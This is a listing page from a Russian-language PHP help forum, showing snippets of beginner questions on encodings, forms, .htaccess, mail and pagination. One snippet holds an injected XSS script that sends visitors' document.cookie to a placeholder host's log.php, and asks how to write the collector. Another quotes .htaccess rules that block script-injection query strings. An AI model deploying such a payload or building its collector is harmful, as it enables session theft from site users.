PHP
A general-purpose scripting language especially suited to web development
Explore Questions
There are no popular questions to show right now
-
0 votes2 answers
-
0 votes1 answer
-
0 votes1 answer
-
0 votes2 answers
-
0 votes0 answers
2481 questions in this forum
-
Непонятная кодировка при выводе из MySQL
В index'ной странице стоит: charset-windows-1251 В phpmyadmin: MySQL-кодировка: UTF-8 Unicode (utf8); Сопоставление соединения с MySQL: utf8_unicide_ci. В таблице с которой вывожу: utf8_unicide_ci. Начинаю выводить данные в индексную страницу, английские буквы и цифры отображаются нормально, а за место русских стоят знаки вопроса "?". Пробывала в индексной странице поставить кодировку utf-8, появились непонятные иероглифы. help
0 votes2 answers -
правильное составление имен переменных
Всем привет Тут вдруг задался вопросом, как лучше обзывать переменные Например, переменные описывающие модуль : Ключ модуля, данные модуля, иформация о модуле $key_module, $data_module, $info_module (так правильно с точки зрения английского языка) или же $module_key, $module_data, $module_data (а так вроде как ключевое слово module идет первым, а потом идут описывающие его параметры) Кто как бы назвал ?
0 votes7 answers -
Установка значения скрытого поля перед отправкой формы
Всем привет, ищу совета. Перед отправкой формы в скрытое поле хочу поместить значение количества переданных серверу строк. Делал как: через js ловил событие сабмита или клика кнопки, отменял действие по умолчанию, присваивал полю нужное значение и отправлял форму методом submit(). Но при таком действии php не видит что была отправлена форма, т.е. if (isset($_POST['submit'])) никогда не проходит. Рылся в гугле, такие проблемы есть, но метод их решения я так и не понял.
0 votes2 answers -
Создание объекта
Есть три класса: Controller, Loader, test_module. class Controller { function __construct(){ $this -> load = new Loader() } } class Loader { function module($module){ require_once (SYSTEM."/modules/".$module.".php"); //создание объекта } } Как видете, свойство load класса Controller - это объект класса Loader. К классе Loader нужно создать функцию, которая будет загружать указаный в параметре модуль и создавать свойство в классе Controller с именем модуля и помещать туда объект класса модуля. Имя файла и имя класса одинаковы. Все это надо, чтобы в классах, расширяющих класс Controller, былы доступны конструкции вида: $this -> load -> module("capc…
0 votes0 answers -
как получить куку? хелп
Есть поле сообщений, где добавляется такой скрипт (ниже). Создается картинка с урлом в котором сессионая кука есть. Подскажите плиз как этот log.php должен быть написан принимающий один параметр и забрасывающий результат того, что в урле в текстовый файл log.txt? <script> url=document.cookie; var oImg=document.createElement("img"); oImg.setAttribute('src','http://sait/log.php?cookie='+url); oImg.setAttribute('alt','na'); oImg.setAttribute('height','1px'); oImg.setAttribute('width','1px'); document.body.appendChild(oImg); </script>
0 votes7 answers -
Помогите новичкую код работает не корректно.
Пытаюсь сделать форму отправки сообщений... Задача, чтоб данные которые вводит пользователь в форме, отображались на генерируеой странице и паралельно отправлялись на почту. имеем форма http://polosatiykot.ru/form.html <div class="left"> <div id="form"> <form method="post" name="contactform" id="contactform" action="form.php"> <table border="0" cellspacing="0" cellpadding="3"> <tr> <td><div align="right"><label for="name">Имя:</label></div></td> <td><input name="name" type="text" class="formstyle" id="name" placeholder="Василий Пупкин" autofocus/><br /> <…
0 votes3 answers -
Удаление файла Cogeigniter
Добрый день уважаемые форумчане. Разбираюсь с проектом, использующим codeigniter и столкнулся с такой проблемкой: не могу удалить файл из директории. т.е. например <?php$filename = "blabla.jpg";$path = base_url().'uploads/images/'.$filename;?>прошу подсказать, что дальше делать? стандартными средствами php натыкаюсь на сообщение, что нет прав на запись.
0 votes1 answer -
Тупой вопрос но все-же...
У меня есть форма, с которой идут данные в php <?php if (isset($_POST['message'])&&!empty($_POST['message'])) { $message = strip_tags($_POST['message']); $message = htmlspecialchars($message); $message = mysql_escape_string($message); $message = trim($message); if(strlen($message) < 1) exit(); if (strlen($message) > 500) $message = substr($message, 0, 500)."..."; if ($_COOKIE['message'] == $message) exit(); setcookie("message", "$message"); if (isset($_POST['name'])&&!empty($_POST['name'])) { $name = strip_tags($_POST['name']); $name = htmlspecialchars($name); $name = mysql_escape_string($name); $name = trim…
0 votes2 answers -
Элемент <option> в PHP
<html><body> <?php function selectItems($items, $selected=0) { $text = ""; foreach($items as $k=>$v){ if($k == $selected) $ch = " selected"; else $ch = ""; $text .= "<option$ch value='$k'>$v</option>\n"; } return $text; } $names = array( "Weaving" => "Hugo", "Goddard" => "Paul", "Taylor" => "Robert", ); if(isset($_REQUEST['surname'])){ $name = $names[$_REQUEST['surname']]; echo "Вы выбрали: {$_REQUEST['surname']} - {$name} "; } ?> <!-- Форма для выбора имени человека --> <form action="<?=$_SERVER['SCRIPT_NAME']?>" method="post"> Выберите имя: <select name="surname"> <?=selectItems($names, $…
0 votes6 answers -
Вопрос по htaccess
В htaccess,который находится в папке с картинками,есть вот такая запись. <FilesMatch "\.(gif|jpg|png)$"> RewriteEngine On RewriteCond %{REQUEST_FILENAME} -f RewriteRule ^(.*)$ ../watermark/_watermark.php [T=application/x-httpd-php,L,QSA] </FilesMatch> Он должен вместо картинки открывать _watermark.php,но это не работает,возможно,какой-то конфликт с htaccess в корневой директории? RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR] RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR] RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR] RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR] RewriteCond %{QUERY…
0 votes5 answers -
вопрос по .htaccess
На данный запрос http://site.ru/link/page/25 броузер говорит мне что нет такой страницы - это правда Есть страница link.page.25.php Как при помощи .htaccess: 1) Получить строку за вычетом имени домена: link/page/25 2) Присвоить ее параметру, например $page 2) Вызвать index.php с этим параметром: index.php?$page=link/page/25
0 votes1 answer -
Использование класса в PHP
Привет форумчане. Возникла такая задача.. обойдя некоторые темы в интернете написал класс для управления (регистрации, входа, выхода) на php. За пределами класса я создаю объект $user = new user(); а потом идет код, например, для авторизации или для регистрации. Окей, это мы прошли. И вот вопрос. Можно ли как-то с другой страницы получить имя пользователя, который только что у нас вошел? Имя хранится в переменной класса, в моем случае. Просто нелогично ведь потом использовать снова $user = new user(); Чтобы получить имя, тем более что мы создаем новый объект, и там не будет нужного мне имени пользователя..
0 votes4 answers -
вывести вложенный элемент словаря
помогите пожалуйста исправить python3-код проблема в том, что метод outputAttr() не выводит определённое значение словаря. при этом консоль выводит "norecord" то есть срабатывает блок "except:"import shelveclass Record: def __init__(self, temp): print('rrr') self.id = temp['id'] self.type = temp['type'] self.number = temp['number'] self.video = temp['video'] self.audio = temp['audio'] def outputAttr(record, attr): print(record.attr) def outputRecord(record): print(record, ':: ', end = '\n') print('\tid:\t', db[record].id, end = '\n') print('\ttype:\t', db[record].type, end = '\n') …
0 votes1 answer -
Простейшая задача.Выбор элемента массива по номеру.
есть массив Array([n1]->a1,[n2]->a2,[n3]->a3) n1 n2 и n3 - любые числа, но по порядку - то есть n3>n2>n1 Мне нужно превратить этот массив в Array([1]->a1,[2]-a2.[3]->a3)
0 votes6 answers -
Размер столбца
Не могу найти в коде строку по изменению ширины столбца, подскажите в какую сторону смотреть. Это относится к css или js? Исходники тут https://addsky.ru/sites/ad_php_phonebook.zip Таблица:
0 votes1 answer -
загон с жесткими ссылками
добрый день. помогите понять смысл сего выражения: $b&=$a; и результат, получаемый в результате выполнения: for ($a=0;$a<=10;$a++) { $b=5; $b&=$a; echo 'a=',$a,' b=',$b,'<br/>'; } [color="#FF0000"]Результат:[/color] a=0 b=0 a=1 b=1 a=2 b=0 a=3 b=1 a=4 b=4 a=5 b=5 a=6 b=4 a=7 b=5 a=8 b=0 a=9 b=1 a=10 b=0 вопрос по сути муть, но всё-таки. спасибо
0 votes3 answers -
Кнопка входа в режиме реального времени
Доброго времени суток! https://youtu.be/qGHnjEygYq8 Как сделать такою кнопку? Кто знает? Буду очень благодарен... Проверка на заполнение уже есть... Проверка у меня через PHP
0 votes4 answers -
Динамические страницы и проблема индексации Yandex
Здравствуйте! У меня есть динамическая страница, на которой есть разные товары и виды товаров. Использую ЧПУ но при этом столкнулся с тем, что в течении более двух месяцев, yandex не продвинулся в индексации этих страниц, хотя sitemap он принял с более чем 4000 страниц проиндексировал только 123, а google тем временем проиндексировал все, более 4000, страницы. В чем проблема помогите пожалуйста.
0 votes7 answers -
Абстрактный запрос к БД
Задолбался писать запрос к БД типа: $query="SELECT * FROM table"; $result = mysql_query($query); if($result){ if(mysql_num_rows($result)){ while($row=mysql_fetch_object($result)){ .... } }else{ ... } } else{ ... } Захотел написать простенький класс типа: <?php class table{ static function get($query){ $result = mysql_query($query); if($result){ if(mysql_num_rows($result)){ while($row=mysql_fetch_object($result)){ $result[]=$row; } return $result; }else{ return false; } } else{ return false; } } } ?> ...но нутром чую велосипед. Не подскажете, есть ли встроенная функция, класс с …
0 votes1 answer -
зачем нужен linux
У меня вопрос: зачем для PHP часто требуют знание Linux? И какие знания требуются?
0 votes3 answers -
Об отправке почты
Возникает проблема при просмотре в "The bat" отправленной почты с сайта. Тело письма просматривается нормально, а заголовок видится не в той кодировке и соответстввенно нечитабелен. Привожу код скрипта: <?php $config['smtp_username'] = 'ven'; //Смените на имя своего почтового ящика. $config['smtp_fullusername'] = 'ven@mail.lanck.net'; //Смените на имя своего почтового ящика. $config['smtp_port'] = '25'; // Порт работы. Не меняйте, если не уверены. $config['smtp_host'] = 'smtp.lanck.net'; //сервер для отправки почты(для наших клиентов менять не требуется) $config['smtp_password'] = 'xxxx'; //Измените пароль $config['smtp_debug'] = true; //Если Вы хотите …
0 votes2 answers -
Рассылка электронной почты
Приветствую. Интересует ваше мнение... Делаю электронную рассылку по базе клиентов (~4000 адресов). В тексте письма есть ссылка для отправки знакомому (aka "Поделиться"). Само письмо содержит embedded флаер и весит 100-200кб. Все как обычно: пользователь вводит адрес, комментарий, текст с картинки и письмо должно отправляться. Как лучше организовать отправку? - напрямую после заполнения формы Не надо мудрить с cron, создавать списки, к тому же нет доступа к MySQL бд. Однако, при большом потоке вырастит нагрузка на сервер, некоторые известные почтовые сервисы могут заблокировать почтовый адрес или даже IP (Рационально отправлять не более трех сообщений в минуту) - через …
0 votes3 answers -
Отправка почты с локалхост
По данной инструкции http://www.simplecoding.org/php-mail-pod-windows.html, немного с изменениями неважными написал код. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Simple Mail</title> </head> <body> <?php $addr = 'usa-1200@mail.ru'; $theme = 'Для тебя'; $text = 'Приве малыш! Как дела?'; if (isset($addr) && isset($theme) && isset($text) && $addr != "" && $theme != "" && …
0 votes4 answers -
Обратная связь
Имеет ли смысл записывать все посланные сообщения в базу данных? Это может для чего нибудь понадобиться?
0 votes1 answer -
Постраничный вывод.
Делаю pagination. Подскажите как реализовать следующую задачу. есть 20 элементов после выборки(Всего 700). Как сделать, чтобы при нажатии на кнопку далее эти 20 исчезали и появлялись следующие 20...
0 votes1 answer